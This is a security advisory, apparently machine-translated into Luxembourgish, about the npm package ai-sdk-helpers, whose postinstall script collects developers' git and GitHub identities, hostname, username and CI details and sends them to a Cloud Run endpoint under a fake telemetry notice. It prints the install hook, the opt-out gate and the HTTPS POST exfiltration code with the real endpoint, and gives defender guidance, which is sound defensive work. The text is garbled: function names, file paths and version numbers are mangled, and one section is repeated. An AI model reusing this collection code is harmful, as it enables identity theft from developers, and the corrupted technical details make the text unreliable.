TL; DR
Een eenzegt npm-Paket, ai-sdk-Hëllefer, presentéiert sech als Produktiouns-Toolkit fir de Vercel AI SDK, deen Käschteverfolgung, Provider-Fallback a Streaming-Hëllefer ubitt.
Säin Installatiounsskript geet mat engem poléierte Verëffentlechungsbanner op, deen beschreift anonym Diagnostik, a verspriecht, datt kee Quellcode, Tokens oder Umeldungsinformatioune weiderginn ginn, andeems en e respektéiert DO_NOT_TRACK Ofmeldung, a Linken op eng Säit mat der Telemetrie-Politik.
Dee selwechte Skript liest dann d'Git-Identitéit vum Entwéckler, d'GitHub CLI-Konfiguratioun, den Hostnumm vum Maschinn, den Benotzernumm vum Betribssystem, den Aarbechtsverzeichnis an den CI-Provider.
Dës Donnéeë ginn als JSON op en Google Cloud Run Endpoint gepost, wat zu enger kloerer Diskrepanz tëscht der uginnener Telemetrie-Politik an den tatsächlech gesammelten Felder féiert.
De Pak gouf a 22 Versiounen an engem eenzege Burst vun 83 Sekonnen publizéiert, an den Installatiounsskript ass Byte fir Byte identesch fir all markéiert Versioun.
Siwe vun aacht Versiounen, déi vun eiser Iwwerpréiwung iwwerpréift goufen pipeline goufen vum ML-Klassifizéier als onkloer bewäert, well de Stil vum Zoustëmmungsbanner sech wéi legitim Telemetrie liest.
Mir klassifizéieren ai-sdk-helpers als béiswëlleg baséiert op der Identitéitssammlung an der Exfiltratioun vun der Entwéckleridentitéit zur Installatiounszäit.
Schwéiergrad: héich.
Anatomie vun der Installatioun
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } no der Installatioun leeft automatesch op npm installéiert, ier iergendeen vum annoncéierte Code vum Pak iwwerhaapt importéiert gëtt. De Skript scripts/postinstall.js ass wou de ganze Verhalen zur Installatiounszäit läit.
Et fänkt mat engem Kommentarblock an enger Runtime-Notiz un, déi am Register vun engem dateschutzbewossten Open-Source-Projet geschriwwe steet:
>Wann Dir ai-sdk-helpers installéiert, maache mir eng séier Ëmfeldkompatibilitéitskontroll a mellen anonym Diagnostik… D'Donnéeë sinn komplett anonym - mir sammelen Är Plattform, Node-Versioun an en One-Way-Hash vun Ärem Maschinnidentifikator. Kee Quellcode, Tokens oder Umeldungsinformatioune ginn jee iwwerdroen.
Et verbënnt souguer e funktionéierenden Opt-out-Gate, den éischten ausführbare Code an der Datei:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } Dëst Paart als éischt ze schnüren ass dat, wat de Rescht als konsensuell liest: en Entwéckler, deen setzt `D_NOT_TRACK` gesäit d'Installatioun roueg fäerdeg sinn a schléisst of, datt de Pak d'Konventioun respektéiert. Den éierbaren Opt-out ass real. Wat en zougänglech mécht, fir jiddereen, deen en net astellt, ass d'Sammlung, déi hei ënnendrënner beschriwwe gëtt - net déi méi enk "Plattform, Node-Versioun an en Een-Wee-Hash", déi d'Notiz nennt.
Ënnert deem Gate setzt de Skript eng Notzlaascht zesummen, déi wäit iwwer dës Beschreiwung erausgeet.
- *Gt Identitéit.* rléisenScmIdentitéit()` Äerm `~.gitconfig`,`~.config/git/config`,an dem aktuelle Projet säin `.et/config`,analyséiert den `[ser]` Sektioun, a gëtt déi konfiguréiert zréck commit E-Mail. Wann keng Configuratiounsdatei eng E-Mail liwwert, fällt se zréck op den `G`T_AUTOR_EMAIL`,`GT_COMMITTER_EMAIL`,an `EAIL` Ëmweltvariablen. En Docstring iwwer der Funktioun encadréiert d'Liesung als eng Méiglechkeet "fir Installatiounen op Maschinnen ze deduplizéieren, déi der selwechter Persoun gehéieren (z.B. Laptop + CI)" - en erkläerten Zweck, deen e stabile Identifikator pro Entwéckler erfuerdert, deen e commit E-Mail-Versuergung.
- *GtHub-Kont.* rléisenGitHubIdentity()` Äerm `~.config/gh/hosts.yml` an `~.config/gh/hosts.yaml` d'Konfiguratiounsdatei, déi vum GitHub CLI geschriwwe gëtt, wann en Entwéckler sech authentifizéiert - an d'`u` regex-extrahéiert.ähm:` an `ekrank:` fields. Dës Datei späichert och den GitHub OAuth Token; de Regex vum Skript zielt speziell op d'Benotzernumm- an d'E-Mail-Zeilen of a extrahéiert den Token net. D'Ausso "keng Tokens ... ginn jee iwwerdroen" am Disclosure Banner ass dofir wuertwiertlech fir dat eent Feld wouer, während déi ëmleiend Kontidentifikateure gelies a geschéckt ginn.
- *Hst an CI Fangerofdrock.* D'Skript sammelt dann `o.hostname()`,`o.userInfo().Benotzernumm`,d'Node Versioun, Plattform an Architektur, `pocess.cwd()`,an e CI-Provider-Label, dat duerch d'Iwwerpréiwung vun Ëmweltvariablen fir aacht Provider geléist gouf (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, an zwee generesch-CI-Fändelen). D'Provider-Lëscht liest sech als en Inventar vun de Plazen, wou de Skript erwaart auszeféieren - interaktiv Shells an automatiséiert Builds. pipelines ähnlech.
All dës sinn an engem eenzegen `d gruppéiertAgnostiker Objet, mat de Felder pro Entwéckler, déi ënner engem `i gesammelt sinnEntitéit ey an d'Hostdaten ënner `rZäit an `cntext` eys, dann serialiséiert an iwwerdroen:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); D'Äntwert gëtt verworf an all Feeler ginn verschléckt - e Kommentar bemierkt datt "Telemetrie däerf d'Installatioun ni stéieren." Den Endpunkt-Hostnumm kodéiert e Google Cloud Run Service an der `eSeel-West1` Regioun.
D'Lück ass d'Geschicht. De Banner nennt dräi Kategorien vun Daten - Plattform, Node-Versioun, Maschinn-Identifizéierer-Hash. D'Payload schéckt dem Entwéckler säin richtegt Git. commit E-Mail, hire GitHub Benotzernumm an E-Mail, hire Maschinn Hostnumm an OS Kont Numm, hire Projet Pfad, an hir CI Ëmfeld. D'Felder, déi en *p identifizéierenrson an hir Konten* sinn genau déi Felder, déi an der Offenbarung ausgelooss ginn.
De README verstäerkt d'Framing vun der anerer Säit. Seng "Telemetrie"-Sektioun widderhëlt d'Anonymitéitsfuerderung a verlinkt d'Wuert `D_NOT_TRACK` o `cnsoledonottrack.com`,déi richteg Communautéitssäit, déi d'Opt-out-Konventioun dokumentéiert - andeems se eng unerkannt Privatsphär léint standard fir d'Notiz als Routine ze liesen.
Timeline
Dëst ass eng Entdeckung an engem eenzege Pak mat enger ganz kuerzer, ganz dichter Publikatiounsgeschicht. Et gëtt kee Kampagnebou iwwer méi Wochen ze verfollegen - déi ganz Versiounspalette gouf mat Maschinngeschwindegkeet gepusht.
| Wéini (UTC) | Héichwaasser |
|---|---|
| 2026-06-03 20:31:20 | Éischt Versioun (0.1.0) op npm publizéiert. |
| 2026-06-03 20:31:20 – 20:32:43 | All 22 Versiounen (0.1.0 duerch 1.4.2) an engem 83-Sekonnen automatiséierte Burst publizéiert. |
| 2026-06-04 | Aacht Versioune goufe vun Detektiounssignaler markéiert; manuell Analyse bestätegt d'Identitéitssammlung an d'Exfiltratioun zur Installatiounszäit. De Pak war zum Zäitpunkt vun der Analyse live op npm. |
Déi 83-Sekonnen-Fënster iwwer 22 semantesch Versiounen ass selwer en Verhalensindikator: d'Versiounsleiter (`01.0`,`01.1`,… `14.2`)weist d'Uewerfläch vun engem aktiv ënnerhale Projet mat enger Verëffentlechungsgeschicht, déi an engem geskriptete Laf produzéiert gouf. Den Installatiounsskript ännert sech net iwwer dës Leeder - kuckt ënnen.
Indikatoren fir e Kompromëss
D'Notzlaascht zur Installatiounszäit ass identesch am ganze publizéierte Versiounsberäich.ff` f`sripts/postinstall.js` tëscht Versioun `02.1, XNUMXp Versioun `14.2, XNUMXp gëtt keng Ënnerscheeder zréck; d'Verhalen ass ee fixe Fangerofdrock, keng evoluéierend Notzlaascht.
Network
Déi 83-Sekonnen-Fënster iwwer 22 semantesch Versiounen ass selwer en Verhalensindikator: d'Versiounsleiter (`01.0`,`01.1`,… `14.2`)weist d'Uewerfläch vun engem aktiv ënnerhale Projet mat enger Verëffentlechungsgeschicht, déi an engem geskriptete Laf produzéiert gouf. Den Installatiounsskript ännert sech net iwwer dës Leeder - kuckt ënnen.
Indikatoren fir e Kompromëss
D'Notzlaascht zur Installatiounszäit ass identesch am ganze publizéierte Versiounsberäich.ff` f`sripts/postinstall.js` tëscht Versioun `02.1, XNUMXp Versioun `14.2, XNUMXp gëtt keng Ënnerscheeder zréck; d'Verhalen ass ee fixe Fangerofdrock, keng evoluéierend Notzlaascht.
Network
| Luucht | Roll |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | Exfiltratiouns-Endpoint, deen HTTPS POST-Ufroen mat JSON-Payloads empfängt. Gehostet op Google Cloud Run an der europe-west1 Regioun. |
Infrastruktur fir d'Loftluucht
| Luucht | Roll |
|---|---|
ai-sdk.guide | Package-Homepage a Live-Websäit ënnerstëtzen d'Auteuridentitéit vum "AI SDK Guide". |
ai-sdk.guide/telemetry | D'URL vun der Telemetrie-Politik, op déi an der Offenlegungsnotiz zur Installatioun verwisen ass. |
hello@ai-sdk.guide | E-Mail vum Auteur deklaréiert an package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Quell-Repository, dee vum Package deklaréiert gouf. |
Dateien déi bei der Installatioun gelies ginn
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` mail
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLIähm `ekrank
Verhalenssignaturen
- – m`pstoppt och e gebündelt Node-Skript opruffen
- – Opt-out-Gate (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_NOT_TRACK`)presentéiert als Privatsphärfunktioun, virun der Identitéitssammlung
- – tbound HTTPS POST vun engem JSON-Objet, deen d'Git-E-Mail, d'GitHub-Identitéit, den Hostnumm, den OS-Benotzernumm, d'CWD an d'CI-Label enthält
- – en identescht Installatiounsskript iwwer eng séier publizéiert Versiounsleeder
Attributioun & observéiert Verhalen
Mir attribuéieren näischt ausser deem wat de Pak an d'Registrierungsmetadaten ophuelen.
Den NPM-Opzeechnungsbeamten ass de Kont `aielsimon`,mat der Adress `aiel@vigilance.security`.D'Registrierung lëscht déi E-Mail als net verifizéiert an d'Quellkontrollidentitéit vum Kont als net verifizéiert. Den `pckage.json`,separat, presentéiert den Auteur als "AI SDK Guide"ello@ai-sdk.guide>`”mat enger Homepage vun `a-sdk.guide` an e Quellcode-Repository ënner engem `gOrganisatioun vun thub.com/ai-sdk-guide`. D'E-Mail-Domain vum Publikatiounskonto (`vigilance.security`)an d'Identitéit vum Auteur am Pak (`a`)-sdk.guide`)sinn ënnerschiddlech Domänen.
Den `a-sdk.guide` ite ass live a reagéiert, an den `/Elementmetrie ath léist sech op - d'Identitéit vun der Decoy gëtt vun enger erreechbarer Webpräsenz anstatt vun engem doudege Link ënnerstëtzt, wat d'Glaubwürdegkeet vum Framing vum Package erhéicht.
**Observéiert Fäegkeet.** Zur Zäit vun der Installatioun liest de Pak d'Identitéitsdateien vum Entwéckler an d'Kontkonfiguratiounsdateien, hëlt Fangerofdréck vum Host- an der CI-Ëmfeld a schéckt d'Resultat un en operatorkontrolléierten Endpunkt, wärend eng Notiz ugewise gëtt, déi e méi enken an anonymiséierten Datesaz beschreift. Mir beschreiwen dëst Verhalen; mir behaapten kee Grond dofir. Lieser, déi de Pak evaluéieren - och all Partei, déi d'Identitéit vum Publikateur erkennt - sollten den observéierbaren Ofwäich tëscht den uginnen an den tatsächlechen Datenflëss ofweegen.
Impakt, Trends a Richtlinne fir Verdeedeger
Wien ass ausgesat. Jiddereen, deen installéiert ai-sdk-Hëllefer — direkt oder als transitiv Ofhängegkeet — leeft d'Sammlung op där Maschinn aus. Well den Trigger ass no der Installatioun, muss de annoncéierte Bibliothéikscode ni importéiert ginn, fir datt den Datenfloss stattfënnt; d'Installatioun eleng ass genuch. Déi wäertvollst Ëmfeld sinn Entwéckler-Aarbechtsstatiounen mat enger konfiguréierter Git-Identitéit an engem authentifizéierte GitHub CLI, a CI-Runner, wou d'CI-Provider-Detektioun vum Skript ugeet, datt d'Sammlung erwaart gëtt, bannent dem Build auszeféieren. pipelines souwéi op Laptops.
Wat et aussetzt. Net Applikatiounsgeheimnisser am allgemenge Fall - d'Notzlaascht konzentréiert sech op Identitéit: dem Entwéckler säin commit E-Mail, hiren GitHub-Kontonumm an E-Mail, den Numm vun der Maschinn an dem Kont, an de Projetpfad. Dat ass eng Viraussetzungciseng Kaart vun deem, wien de Pak installéiert huet, op wéi enger Maschinn, a wéi engem Repository a wéi engem CI-System. Fir eng Organisatioun géifen eng Handvoll vun esou Opzeechnungen zesummen opzielen, wéi eng Ingenieuren a wéi eng Buildsystemer d'Ofhängegkeet erausgezunn hunn - nëtzlech als Virleefer fir méi gezielt Nofolgaktivitéiten, och wann d'Verhale vun dësem Pak selwer bei der Sammlung an der Iwwerdroung ophält.
Den Trend: Telemetrie als Deckmantel. Legitim Entwécklertools sammelen anonymiséiert Installatiounsdiagnostik, an d'Konventiounen dofir sinn respektvoll - eng Offenlegungsnotiz, eng NET_VERFOLGEN Éier, en Opt-out-Flag, eng Politik-URL – si bekannt. ai-sdk-Hëllefer reproduzéiert all véier vun dëse Konventiounen trei a benotzt se als Wrapper fir d'Identitéitssammlung. D'Präsenz vun engem Zoustëmmungsbanner, engem funktionéierenden Opt-out oder engem Link zur Dateschutzpolitik ass kee Beweis dofir, datt e Pak vertrauenswierdeg ass; dës Kontrollen sinn net deier ze imitéieren. Déi eenzeg zouverlässeg Kontroll ass, wat de Code tatsächlech liest a wou en en tatsächlech schéckt.
Dës Verpackung huet och e messbare Effekt op den automatiséierten Triage. Iwwer d'Versiounen eraus, eis pipeline iwwerpréift, d'Kommentaren a kloerer Sprooch vum Installatiounsskript, déi strukturéiert Feldnimm an de konventionellen Opt-out-Gate goufen als normal Telemetrie bewäert: siwe vun aacht koumen zréck onkloer sinn vum ML-Klassifizéierer anstatt béiswëlleg. De Signal, deen d'Ambiguitéit léist, ass net an der Prosa - et ass an de spezifesche Dateien, déi de Skript opmécht (~ / .gitconfig, ~/.config/gh/hosts.yml) an d'Destinatioun, un déi se geschéckt gëtt. E Kontrolleur, egal ob automatiséiert oder mënschlech, deen d'Offenlegung liest an do ophält, kënnt zu der falscher Conclusioun; d'Entscheedung muss aus de Fakten vum Datenfloss stamen.
Richtlinne fir Verdeedeger:
- Installéiert mat Scripten standardméisseg deaktivéiert — npm installéieren –ignore-scripts, oder astellen ignore-scripts=true in .npmrc a kontrolléiert Build-Schrëtt explizit ausféieren. Dëst neutraliséiert no der Installatioun-ausgeléist Kollektioun iwwerall.
- Behandelt Opt-out-Kontrollen net als Vertrauenssignaler. NET_VERFOLGEN E Check oder e Link zur "Telemetrie-Politik" seet Iech näischt iwwer d'Donnéeën, déi e Skript sammelt, wann de Gate net agestallt ass.
- Liest den Install Hook ier Dir AI-Ökosystem-Hëllefspakete benotzt. De Vercel AI SDK-Beräich ass e séier evoluéierend Zil mat héijem Vertrauen; a no der Installatioun dat beréiert ~ / .gitconfig or ~/.config/gh/ ass e kloert Signal, egal wéi d'Kommentaren ronderëm geschriwwe sinn.
- Iwwerwaachung vun der Ausgänglechkeet während der Buildzäit. En ausgehenden HTTPS POST während npm installéiert, besonnesch fir en frësch zur Verfügung gestallten Cloud-Funktiouns-Endpunkt, ass op der Netzwierkschicht observéierbar an stellt e staarken Detektiounspunkt fir CI-Ëmfeld duer.
- Passt op kompriméiert Versiounsleederen op. E Pak, deem seng ganz semantesch Versiounsgeschicht bannent Sekonne mat engem onverännerleche Installatiounsskript ugewise gëtt, weist eng fabrizéiert Ënnerhaltsgeschicht.





